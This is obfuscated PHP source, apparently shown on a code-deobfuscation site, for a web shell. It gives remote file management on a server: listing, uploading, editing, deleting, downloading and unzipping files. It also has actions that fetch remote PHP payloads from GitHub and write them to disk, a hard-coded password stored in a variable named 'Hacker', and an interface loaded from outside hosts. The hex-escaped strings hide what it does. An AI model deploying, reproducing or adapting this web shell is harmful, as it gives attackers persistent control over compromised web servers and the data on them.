"\x22\76\x3c\151\x20\x63\x6c\141\x73\163\75\42\x66\141\55\154\151\x67\150\164\x20\146\x61\x2d\x66\x69\154\145\42\76\x3c\57\151\76\40" . $folder . "\74\57\x64\x69\166\76\74\x64\x69\x76\x20\x69\144\x3d\x22\x6f\x70\x65\x6e\x4c\151\x6e\x6b\x22\40\144\x61\x74\141\55\x70\x61\x74\x68\x3d\x22" . $path . "\42\40\143\x6c\x61\163\163\x3d\42\163\x69\172\x65\x22\x3e" . file_size($path) . "\x3c\57\x64\x69\x76\76\x3c\x64\x69\166\x20\x63\154\x61\x73\163\75\x22\145\144\151\164\x5f\x62\164\156\42\76\40\74\151\40\151\x64\x3d\42\x72\x65\x6e\141\x6d\145\x46\151\154\x65\42\x20\x64\x61\164\x61\55\x64\x69\x72\75\x22" . $path . "\42\x20\144\x61\164\x61\55\156\141\155\x65\x3d\42" . Get_Name($path) . "\x22\40\x63\x6c\141\x73\163\75\42\x66\x61\55\x6c\x69\147\x68\x74\40\146\x61\55\x70\x65\156\55\164\x6f\55\x73\x71\165\141\x72\145\x22\x3e\74\57\151\x3e\74\x69\40\151\x64\x3d\x22\144\x65\x6c\x65\x74\145\42\x20\x64\x61\164\x61\x2d\x64\151\x72\x3d\42" . $path . "\42\40\x63\x6c\x61\163\163\75\42\146\141\55\154\151\x67\x68\x74\x20\146\x61\55\x74\x72\141\163\150\x22\x3e\74\57\x69\76\74\x69\x20\151\144\x3d\42\144\157\x77\x6e\x6c\157\x61\144\42\x20\x64\141\164\141\x2d\x64\x69\x72\x3d\x22" . $path . "\x22\x20\x63\x6c\x61\x73\x73\x3d\42\x66\141\55\154\x69\147\150\x74\x20\146\141\55\144\x6f\x77\x6e\x6c\x6f\141\x64\42\76\x3c\57\x69\76\x3c\57\x64\151\x76\76\74\57\144\x69\x76\76"; } else { $output .= "\74\x64\x69\166\x20\x63\154\141\163\x73\75\42\x66\154\x65\170\42\x3e\74\x64\151\166\x20\x63\x6c\141\163\x73\x3d\x22\x66\157\154\x64\145\x72\163\x22\40\151\144\x3d\42\157\x70\145\x6e\x44\151\162\x22\x20\144\141\164\141\55\144\x69\x72\75\42" . $path . "\x22\x3e\74\x69\x20\143\154\x61\163\x73\75\x22\146\141\x2d\154\151\147\150\164\x20\146\141\55\x66\157\x6c\x64\145\x72\42\76\x3c\x2f\151\76\40" . $folder . "\x3c\x2f\x64\x69\x76\76\74\x64\151\166\40\151\144\x3d\42\157\160\x65\x6e\x4c\x69\156\153\42\x20\144\x61\164\x61\x2d\x70\141\x74\150\75\42" . $path . "\42\x20\143\154\141\x73\x73\75\42\163\x69\x7a\145\42\x3e" . folder_size($path) . "\74\x2f\x64\x69\x76\x3e\74\x64\x69\166\x20\x63\x6c\x61\x73\x73\75\x22\145\x64\151\164\137\142\164\156\42\76\x20\x3c\x69\x20\x69\144\x3d\x22\x72\145\x6e\x61\x6d\x65\106\x69\154\145\x22\40\144\x61\x74\141\55\x64\151\162\75\x22" . $path . "\42\40\x64\x61\x74\141\55\156\141\155\x65\x3d\x22" . Get_Name($path) . "\x22\x20\143\154\x61\x73\x73\x3d\42\x66\141\x2d\x6c\x69\x67\x68\164\40\x66\x61\x2d\x70\145\156\x2d\x74\157\x2d\163\x71\x75\141\162\x65\42\76\74\x2f\151\x3e\74\x69\40\x69\x64\75\x22\144\x65\154\145\x74\145\x22\x20\x64\x61\164\141\55\144\151\162\x3d\x22" . $path . "\x22\40\x63\154\141\x73\163\x3d\x22\x66\141\55\154\151\147\x68\164\40\x66\141\x2d\x74\x72\x61\163\150\42\76\x3c\57\x69\x3e\74\x69\40\151\144\x3d\x22\x7a\x69\160\104\x69\162\42\x20\144\141\164\x61\x2d\144\x69\162\x3d\42" . $path . "\x22\40\143\x6c\141\163\163\x3d\x22\x66\141\x2d\x6c\151\147\150\x74\40\x66\x61\55\x66\151\154\145\x2d\172\x69\x70\x70\145\x72\42\x3e\74\x2f\151\76\74\x2f\x64\151\x76\76\x3c\x2f\x64\151\166\x3e"; } } } $result["\163\165\143\x63\145\163\x73"] = true; $result["\144\141\x74\141"] = $output; $result["\x64\151\162"] = $titleDir; } else { if ($data == "\172\151\x70\104\151\162") { $dir = $_POST["\x64\151\x72"]; $zipDir = $_POST["\x7a\151\160\x44\151\162"]; $parts = explode("\x2f", $zipDir); $last = array_pop($parts); $folder = array(implode("\x2f", $parts), $last); if (checkUndo($dir)) { $zipfile = $dir . $folder[1] . "\56\x7a\x69\160"; } else { $zipfile = $dir . "\x2f" . $folder[1] . "\56\x7a\151\x70"; } $rootPath = realpath($zipDir); $zip = new ZipArchive(); $zip->open($zipfile, ZipArchive::CREATE | ZipArchive::OVERWRITE); $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($rootPath), RecursiveIteratorIterator::LEAVES_ONLY); foreach ($files as $name => $file) { if (!$file->isDir()) { $filePath = $file->getRealPath(); $relativePath = substr($filePath, strlen($rootPath) + 1); $zip->addFile($filePath, $relativePath); } } $zip->close(); $result["\163\165\x63\143\145\163\163"] = true; } else { if ($data == "\x44\x65\x6c\x65\164\145") { Delete($_POST["\104\145\154\x65\x74\145"]); $result["\x73\x75\x63\143\145\x73\x73"] = true; } else { if ($data == "\x44\x6f\x77\x6e\154\157\141\x64") { $file = $_POST["\146\151\x6c\145\120\141\164\150"]; header("\x43\157\156\164\x65\x6e\x74\x2d\104\145\163\x63\162\x69\160\164\151\157\156\x3a\x20\106\x69\x6c\145\x20\124\x72\x61\156\x73\146\145\162"); header("\x43\157\x6e\164\145\156\x74\55\x54\x79\x70\145\72\x20\141\x70\160\154\x69\143\141\x74\151\x6f\156\x2f\157\x63\x74\145\x74\55\x73\164\x72\145\x61\155"); header("\x43\157\x6e\x74\145\x6e\x74\x2d\x44\x69\163\x70\157\x73\151\x74\151\157\156\x3a\x20\141\x74\x74\141\143\150\x6d\145\156\x74\x3b\x20\146\151\154\145\156\141\x6d\145\x3d" . basename($file)); header("\103\x6f\x6e\164\145\x6e\x74\x2d\x54\x72\x61\x6e\x73\x66\x65\x72\55\105\x6e\x63\x6f\x64\151\x6e\x67\x3a\x20\142\151\x6e\x61\x72\171"); header("\x45\x78\160\151\x72\x65\x73\x3a\40\60"); header("\103\x61\x63\x68\145\55\x43\157\156\164\x72\x6f\x6c\72\x20\155\165\163\x74\55\162\145\x76\x61\154\151\144\x61\x74\x65"); header("\x50\162\x61\147\155\x61\x3a\40\x70\x75\142\154\151\143"); header("\103\x6f\x6e\x74\145\x6e\164\x2d\x4c\x65\x6e\147\x74\x68\72\40" . filesize($file)); ob_clean(); flush(); readfile($file); die; } else { if ($data == "\122\x65\x6e\x61\x6d\x65") { $renameDir = $_POST["\162\x65\x6e\x61\155\x65\104\x69\162"]; $newName = $_POST["\156\x65\167\116\x61\155\145"]; $parts = explode("\x2f", $renameDir); $last = array_pop($parts); $dir = array(implode("\x2f", $parts), $last); $newDir = $dir[0] . "\57" . $newName; if (is_dir($newDir) === true) { $result["\144\141\x74\x61"] = "\62"; } else { if (is_file($newDir) === true) { $result["\x64\x61\164\x61"] = "\x32"; } else { if (rename($renameDir, $newDir)) { $result["\x64\141\164\141"] = "\61"; } else { $result["\x64\x61\x74\141"] = "\x33"; } } } $result["\163\x75\x63\x63\x65\x73\163"] = true; } else { if ($data == "\x6e\145\167\x46\x69\x6c\x65") { $dir = $_POST["\x64\151\162"]; $newFileName = $_POST["\x6e\x65\167\106\x69\154\x65\116\x61\155\145"]; if (checkUndo($dir)) { $newfile = $dir . $newFileName; } else { $newfile = $dir . "\57" . $newFileName; } if (is_file($newfile) === true) { $result["\144\141\x74\x61"] = "\62"; } else { if (file_put_contents($newfile, "\40")) { $result["\x64\141\164\141"] = "\61"; } else { $result["\144\x61\x74\141"] = "\x33"; } } $result["\163\165\x63\143\x65\x73\163"] = true; } else { if ($data == "\x6e\145\x77\106\x6f\x6c\x64\x65\x72") { $dir = $_POST["\144\151\x72"]; $newFolderName = $_POST["\x6e\145\x77\x46\157\154\144\x65\x72\116\x61\x6d\x65"]; if (checkUndo($dir)) { $newfolder = $dir . $newFolderName; } else { $newfolder = $dir . "\57" . $newFolderName; } if (is_dir($newfolder) === true) { $result["\x64\x61\x74\141"] = "\62"; } else { if (mkdir($newfolder, 511, true)) { $result["\144\x61\x74\x61"] = "\x31"; } else { $result["\144\x61\x74\x61"] = "\63"; } } $result["\x73\x75\x63\x63\145\163\163"] = true; } else { if ($data == "\125\x70\x6c\157\141\x64") { $dir = $_POST["\x64\151\x72"]; $fileName = $_POST["\x66\x69\x6c\x65\116\x61\155\x65"]; if (checkUndo($dir)) { $newfile = $dir . $fileName; } else { $newfile = $dir . "\x2f" . $fileName; } if (is_file($newfile) === true) { $result["\144\x61\x74\x61"] = "\x32"; } else { if (move_uploaded_file($_FILES["\146\151\154\145"]["\x74\155\x70\137\x6e\x61\155\x65"], $newfile)) { $result["\144\141\164\x61"] = "\x31"; } else { $result["\144\141\x74\141"] = "\x33"; } } $result["\x73\x75\x63\143\x65\163\x73"] = true; } else { if ($data == "\x4f\x70\145\x6e\40\x46\x69\154\x65") { $file = $_POST["\x66\151\154\145"]; $mimeType = mime_content_type($file); $type = explode("\57", $mimeType); if ($type[0] == "\x69\155\x61\147\145") { $result["\144\x61\x74\x61"] = "\74\144\151\x76\40\x63\154\141\x73\x73\75\x22\x76\x69\x65\x77\x46\x69\x6c\x65\42\x3e\74\144\151\166\40\143\154\x61\163\163\x3d\x22\x76\151\x65\167\106\151\154\145\x54\151\164\x6c\145\42\x3e\74\144\x69\x76\x20\143\154\141\x73\163\x3d\42\x6e\145\x77\x53\145\154\x6c\x22\x3e\74\x64\x69\x76\x20\143\x6c\141\x73\163\x3d\x22\156\x65\x77\123\145\x6c\x6c\137\164\151\x74\154\x65\42\76" . basename($file) . "\74\x2f\144\151\x76\x3e\x3c\x64\151\x76\40\143\x6c\x61\x73\x73\75\42\x6e\145\167\x46\151\x6c\x65\137\x62\x74\156\x22\76\x3c\151\40\x69\144\75\x22\166\151\x65\x77\x46\x69\x6c\145\x43\x6c\x6f\x73\x65\42\40\143\x6c\141\x73\163\75\42\x66\x61\55\154\151\147\x68\164\40\x66\x61\55\170\155\x61\x72\x6b\42\x3e\x3c\x2f\151\x3e\74\x2f\x64\x69\166\76\74\57\144\x69\x76\x3e\x3c\x2f\x64\151\166\76\x3c\x64\151\166\40\143\x6c\x61\x73\163\x3d\42\x76\x69\x65\x77\106\x69\x6c\145\104\141\164\141\x22\x3e\74\x69\155\147\40\x73\x72\x63\75\42" . $file . "\42\76\x3c\57\x64\151\166\76\74\57\144\x69\x76\76"; $result["\x74\x79\160\x65"] = "\151\155\141\147\145"; } else { if ($type[0] == "\166\x69\144\145\157") { $result["\144\x61\x74\x61"] = "\x3c\x64\151\166\x20\143\154\x61\163\163\75\42\166\151\x65\167\106\x69\154\145\42\x3e\74\x64\151\166\40\x63\154\x61\163\x73\x3d\x22\x76\x69\x65\167\x46\x69\154\145\124\151\164\x6c\145\x22\76\74\144\x69\x76\x20\x63\x6c\x61\163\x73\x3d\x22\156\145\167\123\145\x6c\x6c\x22\x3e\74\x64\x69\166\x20\143\x6c\141\163\163\x3d\42\x6e\x65\167\123\x65\154\x6c\137\164\x69\164\154\145\42\x3e" . basename($file) . "\x3c\57\144\151\166\76\74\144\151\x76\x20\x63\154\x61\163\x73\x3d\x22\x6e\145\x77\106\151\154\145\137\142\x74\156\42\76\x3c\151\x20\x69\x64\x3d\42\166\x69\145\167\x46\x69\x6c\145\x43\154\157\163\145\42\40\143\x6c\x61\163\163\75\42\x66\x61\55\154\151\147\150\164\40\146\x61\x2d\x78\x6d\x61\162\153\42\x3e\x3c\x2f\151\76\74\57\x64\151\x76\x3e\74\57\144\151\166\76\x3c\57\144\151\x76\76\x3c\144\x69\x76\40\143\x6c\x61\x73\x73\75\42\x76\151\145\167\x46\x69\x6c\x65\104\x61\x74\141\42\76\74\x76\x69\x64\x65\x6f\40\x63\157\156\164\x72\x6f\154\x73\x3e\x3c\x73\157\165\x72\x63\x65\40\163\162\143\x3d\42" . $file . "\42\76\x3c\x2f\166\151\144\145\157\76\x3c\x2f\x64\151\166\76\x3c\57\x64\x69\x76\x3e"; $result["\164\171\x70\145"] = "\x76\x69\x64\x65\157"; } else { if ($type[0] == "\141\165\x64\x69\x6f") { $result["\144\141\164\x61"] = "\x3c\x64\x69\166\40\x63\154\141\x73\163\75\42\x76\151\145\x77\x46\x69\x6c\x65\x22\76\74\144\x69\166\40\x63\154\141\x73\x73\x3d\x22\x76\151\x65\167\x46\x69\x6c\x65\x54\151\x74\x6c\145\42\x3e\74\x64\151\166\x20\143\x6c\141\x73\163\75\42\156\145\167\x53\145\154\154\42\76\x3c\x64\151\166\x20\143\x6c\141\163\163\x3d\42\156\145\x77\123\x65\154\154\137\x74\x69\x74\154\x65\42\x3e" . basename($file) . "\x3c\x2f\x64\x69\x76\x3e\x3c\x64\151\166\40\143\154\141\x73\x73\x3d\x22\x6e\145\x77\x46\151\x6c\145\x5f\x62\x74\156\x22\x3e\x3c\151\40\151\144\75\42\166\151\145\167\106\x69\154\145\x43\154\157\x73\145\x22\40\143\154\141\x73\x73\75\x22\x66\141\55\154\151\147\150\164\x20\146\141\x2d\170\x6d\141\x72\153\x22\76\x3c\x2f\x69\76\74\x2f\x64\151\166\76\x3c\57\144\151\x76\x3e\x3c\x2f\144\x69\166\x3e\74\x64\151\x76\x20\143\154\141\163\x73\75\x22\166\x69\x65\x77\106\x69\x6c\x65\x44\x61\x74\x61\x22\76\x3c\141\165\144\151\157\x20\x63\x6f\156\x74\162\157\154\x73\x3e\x3c\163\x6f\165\162\x63\145\x20\163\x72\143\x3d\42" . $file . "\42\x3e\74\x2f\141\x75\x64\151\x6f\76\74\57\x64\x69\x76\76\74\57\144\151\166\76"; $result["\164\171\x70\145"] = "\166\x69\x64\145\x6f"; } else { if ($type[0] == "\x74\x65\x78\164") { if (file_get_contents($file)) { $result["\x63\157\156\x74\x65\156\164"] = file_get_contents($file); $result["\x64\141\x74\x61"] = "\74\x64\151\166\x20\143\x6c\x61\163\163\75\x22\166\x69\x65\167\106\151\154\145\x22\x3e\x3c\x64\151\166\x20\x63\x6c\141\x73\x73\75\x22\166\151\x65\x77\x46\151\x6c\x65\124\151\x74\x6c\x65\42\x3e\74\x64\x69\x76\40\x63\154\x61\163\163\x3d\x22\x6e\145\167\x53\x65\154\x6c\x22\x3e\74\144\x69\x76\40\x63\154\x61\163\x73\75\42\x6e\x65\x77\x53\145\x6c\x6c\137\164\151\164\154\145\x22\76" . basename($file) . "\x3c\57\144\151\x76\76\74\144\151\166\x20\x63\154\x61\x73\x73\75\x22\x6e\145\167\x46\151\x6c\145\137\142\164\156\42\x3e\x3c\x69\x20\x69\x64\x3d\42\141\144\x64\116\x6f\167\162\x61\x70\42\40\143\x6c\141\x73\x73\x3d\x22\146\141\55\x6c\151\147\150\164\40\x66\141\x2d\141\x6c\x69\147\x6e\55\152\x75\163\164\151\146\x79\42\76\74\x2f\x69\x3e\x3c\151\40\151\x64\75\x22\162\145\x6d\157\166\x65\116\157\167\x72\x61\160\x22\x20\x63\x6c\x61\163\163\75\42\146\141\55\x6c\x69\x67\x68\164\x20\146\x61\x2d\x61\x6c\151\x67\156\x2d\x73\154\141\163\x68\42\76\x3c\x2f\151\x3e\74\151\40\151\x64\75\x22\x76\151\x65\167\106\x69\x6c\145\103\x6c\157\163\145\42\x20\x63\154\x61\163\163\x3d\42\146\x61\x2d\x6c\151\147\150\x74\x20\146\141\55\x78\155\141\162\x6b\42\x3e\x3c\57\x69\76\74\151\x20\x69\144\x3d\42\166\x69\x65\x77\106\x69\154\x65\x53\x61\x76\145\42\x20\143\x6c\141\163\x73\75\42\146\x61\55\x6c\151\147\150\x74\x20\146\x61\x2d\x66\x6c\x6f\160\160\x79\55\144\151\163\153\42\x3e\x3c\x2f\151\x3e\x3c\x2f\144\151\166\76\x3c\x2f\x64\x69\166\76\74\x69\156\x70\165\x74\40\164\x79\x70\x65\x3d\42\x68\151\144\144\145\156\x22\40\x69\x64\75\x22\x76\151\145\x77\106\x69\154\x65\x44\x69\162\42\x20\166\x61\154\165\145\75\42" . $file . "\42\x3e\x3c\x2f\x64\x69\x76\x3e\74\57\144\x69\166\x3e"; $result["\164\x79\x70\145"] = "\164\x65\x78\164"; } else { $result["\x74\171\160\145"] = "\x50\145\162\x6d\151\x73\x73\151\157\x6e\x20\x44\145\x6e\x69\145\x64"; } } else { if ($type[0] == "\141\160\160\154\151\x63\141\164\151\x6f\156") { if ($type[1] == "\x6f\x63\164\x65\164\55\163\x74\x72\145\x61\x6d" or $type[1] == "\x78\55\x63\163\x68" or $type[1] == "\x6a\141\x76\141\x2d\141\x72\x63\x68\x69\166\x65" or $type[1] == "\152\x73\x6f\156" or $type[1] == "\154\144\x2b\x6a\x73\x6f\x6e" or $type[1] == "\170\55\x68\164\x74\x70\144\55\x70\x68\160") { if (file_get_contents($file)) { $result["\x63\157\156\x74\x65\156\x74"] = file_get_contents($file); $result["\x64\141\x74\x61"] = "\x3c\144\x69\x76\x20\143\x6c\x61\x73\163\x3d\x22\x76\x69\x65\x77\x46\x69\154\145\42\x3e\74\x64\x69\166\x20\143\154\141\163\x73\75\x22\x76\151\x65\x77\x46\151\154\x65\124\x69\x74\154\x65\x22\x3e\74\x64\151\x76\x20\143\x6c\x61\163\x73\x3d\x22\x6e\145\x77\123\145\154\x6c\42\76\x3c\144\x69\166\x20\x63\154\x61\163\x73\75\x22\x6e\145\x77\123\x65\x6c\154\x5f\x74\151\164\154\x65\42\x3e" . basename($file) . "\74\x2f\144\151\166\76\x3c\x64\x69\x76\x20\x63\x6c\141\163\163\75\42\x6e\x65\x77\x46\x69\154\x65\137\142\164\x6e\42\x3e\74\151\40\x69\x64\x3d\42\x61\144\144\116\157\167\x72\141\160\42\40\143\154\141\x73\163\x3d\42\146\x61\55\154\151\x67\x68\164\x20\146\141\x2d\141\x6c\x69\147\x6e\x2d\152\x75\163\x74\x69\x66\171\x22\x3e\74\x2f\151\x3e\74\151\x20\x69\144\75\x22\162\x65\155\x6f\x76\x65\116\x6f\167\162\x61\x70\x22\x20\x63\x6c\x61\163\163\x3d\42\x66\141\55\x6c\x69\147\150\164\x20\146\141\x2d\141\154\151\x67\x6e\55\163\154\141\x73\x68\x22\76\x3c\57\x69\x3e\74\x69\x20\151\x64\75\x22\x76\x69\145\x77\x46\x69\154\x65\103\x6c\157\x73\x65\42\x20\143\x6c\141\x73\163\x3d\x22\x66\141\55\154\x69\x67\x68\x74\x20\x66\141\55\x78\x6d\x61\162\x6b\x22\76\74\57\x69\76\x3c\151\x20\151\x64\x3d\42\x76\151\x65\x77\x46\151\x6c\145\123\x61\x76\145\42\x20\x63\154\x61\163\x73\x3d\x22\x66\x61\55\154\151\147\x68\164\x20\146\x61\x2d\146\x6c\x6f\x70\x70\x79\x2d\144\x69\x73\x6b\42\x3e\x3c\57\x69\76\x3c\57\x64\x69\166\76\74\x2f\144\151\166\x3e\74\x69\156\x70\165\164\40\164\x79\160\145\x3d\x22\150\x69\144\144\x65\x6e\42\40\151\144\75\x22\166\x69\x65\167\x46\151\x6c\x65\x44\x69\162\42\x20\166\141\x6c\165\x65\75\42" . $file . "\x22\x3e\x3c\x2f\x64\151\x76\76\x3c\57\x64\151\x76\x3e"; $result["\x74\x79\160\x65"] = "\164\145\x78\164"; } else { $result["\164\171\160\x65"] = "\120\145\x72\155\x69\163\x73\151\157\x6e\40\x44\145\x6e\151\x65\x64"; } } else { if ($type[1] == "\x7a\x69\x70") { $result["\x64\141\x74\x61"] = $file; $result["\x74\171\x70\145"] = "\172\x69\x70"; } else { $result["\x74\171\160\x65"] = $mimeType; } } } else { $result["\164\171\160\x65"] = $mimeType; } } } } } $result["\x73\x75\x63\143\x65\163\163"] = true; } else { if ($data == "\x55\160\x64\141\164\x65\x20\106\x69\154\x65") { $fileCode = $_POST["\146\x69\x6c\145\103\x6f\x64\x65"]; $fileDir = $_POST["\x66\x69\154\145\x44\151\x72"]; if (file_put_contents($fileDir, $fileCode)) { $result["\144\x61\x74\x61"] = "\61"; } else { $result["\144\141\x74\141"] = "\x32"; } $result["\x73\165\x63\x63\x65\x73\x73"] = true; } else { if ($data == "\x55\x6e\172\151\160\40\106\x69\x6c\x65") { $file = $_POST["\146\x69\x6c\145"]; $path = pathinfo(realpath($file), PATHINFO_DIRNAME); $zip = new ZipArchive(); $res = $zip->open($file); if ($res === true) { $zip->extractTo($path); $zip->close(); $result["\x64\x61\x74\x61"] = true; } else { $result["\x64\x61\x74\x61"] = false; } $result["\163\165\143\x63\x65\163\163"] = true; } else { if ($data == "\x61\x75\x74\x6f\111\156\163\164\141\x6c\x6c") { $dir = $_POST["\x64\151\162"]; $autoInstall = explode("\x7c\x53\x48\105\x4c\114\x7c", getDecode($_POST["\x61\x75\164\x6f\x49\x6e\163\x74\x61\154\x6c"])); if (checkUndo($dir)) { $installfile = $dir . $autoInstall[0]; } else { $installfile = $dir . "\x2f" . $autoInstall[0]; } if (is_file($installfile) === true) { $result["\144\141\x74\141"] = "\62"; } else { $installContent = getContent($autoInstall[1]); if ($installContent == '') { $result["\x64\141\x74\141"] = "\64"; } else { if (file_put_contents($installfile, $installContent)) { $result["\144\141\164\141"] = "\61"; } else { $result["\x64\141\x74\141"] = "\63"; } } } $result["\x73\165\x63\x63\145\x73\x73"] = true; } else { if ($data == "\x55\x6e\x69\156\163\x74\141\x6c\154") { $uninstallContent = getContent("\x68\x74\164\160\163\x3a\57\57\162\141\x77\x2e\147\x69\x74\150\x75\x62\165\x73\145\162\x63\x6f\x6e\164\145\x6e\164\x2e\143\157\x6d\57\x73\x61\155\x69\165\x6c\x61\154\x69\155\x31\57\x73\150\x65\x6c\x6c\x2f\155\141\x69\x6e\x2f\165\156\x69\156\x73\x74\x61\154\154\x2f\x75\x6e\x69\x6e\163\164\141\154\x6c\x2e\x70\x68\x70"); if ($uninstallContent == '') { $result["\144\141\x74\x61"] = "\x32"; } else { if (file_put_contents("\163\56\160\150\160", $uninstallContent)) { $result["\144\141\164\141"] = "\61"; } else { $result["\x64\x61\164\x61"] = "\x33"; } } $result["\x73\165\x63\143\145\x73\x73"] = true; } else { $result["\x73\165\x63\143\x65\x73\163"] = false; } } } } } } } } } } } } } } } } echo json_encode($result); die; } else { if (isset($_POST["\x6c\157\x67\151\x6e"])) { $login = $_POST["\x6c\157\x67\151\156"]; if ($login == $Hacker) { $_SESSION["\x48\141\143\x6b\x65\x72"] = $Hacker; $result["\163\165\143\x63\x65\x73\163"] = true; } else { $result["\x73\x75\x63\143\145\163\x73"] = false; $result["\x64\141\164\141"] = "\x57\x72\x6f\x6e\x67\40\x50\141\163\163\167\157\x72\144\41"; } echo json_encode($result); die; } else { $index = getContent("\150\164\164\160\163\072\057\057\147\151\164\150\165\142\056\143\157\155\057\163\141\155\151\165\154\141\154\151\155\061\057\163\150\145\154\154\057\162\141\167\057\155\141\151\156\057\150\164\155\154\057\166\061\057\151\156\144\145\170\056\150\164\155\154"); $style = getContent("\150\164\164\160\163\072\057\057\162\141\167\056\147\151\164\150\165\142\165\163\145\162\143\157\156\164\145\156\164\056\143\157\155\057\163\141\155\151\165\154\141\154\151\155\061\057\163\150\145\154\154\057\155\141\151\156\057\163\164\171\154\145\057\166\061\057\163\164\171\154\145\061\056\143\163\163"); $script = getContent("\150\164\164\160\163\072\057\057\147\151\164\150\165\142\056\143\157\155\057\163\141\155\151\165\154\141\154\151\155\061\057\163\150\145\154\154\057\162\141\167\057\155\141\151\156\057\163\143\162\151\160\164\057\166\061\057\163\143\162\151\160\164\056\152\163"); echo str_replace("\174\123\103\x52\111\120\x54\174", $script, str_replace("\x7c\x53\124\131\x4c\x45\x7c", $style, $index)); } } goto Hnnzg; zsBOj: function file_size($file) { $size = filesize($file); return format_size($size); } goto kloa9; uU6az: function Get_Name($path) { $parts = explode("\x2f", $path); $last = array_pop($parts); $file = array(implode("\57", $parts), $last); return $file[1]; } goto V1hNy; ATgEx: function folder_size($folder) { $size = 0; $files = scandir($folder); foreach ($files as $file) { if ($file === "\x2e" or $file === "\56\x2e") { continue; } else { $path = $folder . "\x2f" . $file; if (is_file($path)) { $size = $size + filesize($path); } else { $size = $size + folder_files($path); } } } return format_size($size); } goto zsBOj; V1hNy: function getDecode($encode) { $key = "\123\141\x6d\151\165\x6c\101\154\151\x6d"; $chiper = "\101\105\123\55\x31\x32\70\55\x43\124\122"; $iv = hex2bin("\62\143\62\x36\71\x61\66\x35\x30\x33\67\x63\x31\71\x30\146\x34\71\x39\64\146\61\61\143\60\146\61\x65\63\67\x63\x30"); return openssl_decrypt($encode, $chiper, $key, 0, $iv); } goto L5TgI; kloa9: function checkUndo($dir) { $parts = explode("\x2e", $dir); $last = array_pop($parts); $undoDir = array(implode("\x2f", $parts), $last); if ($undoDir[1] == "\x2f") { return true; } else { return false; } } goto hMv9N; icnS2: error_reporting(0); goto LOiAd; nkEhB: function format_size($size) { if ($size >= 1073741824) { $size = number_format($size / 1073741824, 2) . "\40\x47\x42"; } else { if ($size >= 1048576) { $size = number_format($size / 1048576, 2) . "\40\x4d\x42"; } else { if ($size >= 1024) { $size = number_format($size / 1024, 2) . "\40\113\102"; } else { if ($size > 1) { $size = $size . "\40\142\171\164\145\163"; } else { if ($size == 1) { $size = $size . "\40\x62\x79\164\x65"; } else { $size = "\60\x20\142\x79\164\145\x73"; } } } } } return $size; } goto Pe5FZ; L5TgI: function getContent($url) { $context = stream_context_create(array("\150\x74\x74\160" => array("\150\x65\x61\144\145\162" => "\x55\x73\x65\x72\x2d\x41\x67\145\x6e\164\72\x20\115\157\x7a\x69\154\x6c\141\57\x35\x2e\x30\40\x28\x57\151\156\x64\x6f\167\163\x20\116\x54\x20\x31\60\56\60\73\x20\x57\x4f\127\x36\x34\51\40\101\x70\x70\154\x65\127\x65\x62\113\x69\164\57\x35\63\67\56\x33\66\40\x28\x4b\110\124\115\114\54\40\x6c\x69\x6b\145\x20\x47\x65\143\153\x6f\x29\x20\x43\x68\162\x6f\155\145\57\65\x30\x2e\60\56\x32\x36\x36\x31\56\61\x30\x32\40\x53\141\x66\141\162\151\57\65\63\67\56\63\x36"))); return $result = file_get_contents($url, false, $context); } goto cThp4; LOiAd: $Hacker = "\132\170"; goto nkEhB; Pe5FZ: function folder_files($folder) { $size = 0; $files = scandir($folder); foreach ($files as $file) { if ($file === "\56" or $file === "\x2e\x2e") { continue; } else { $path = $folder . "\57" . $file; if (is_file($path)) { $size = $size + filesize($path); } else { $size = $size + folder_files($path); } } } return $size; } goto ATgEx; EdYDo: session_start(); goto icnS2; Hnnzg:
Function Calls
None |
Stats
MD5 | 8add82b97c27e723013af429935e9be1 |
Eval Count | 0 |
Decode Time | 69 ms |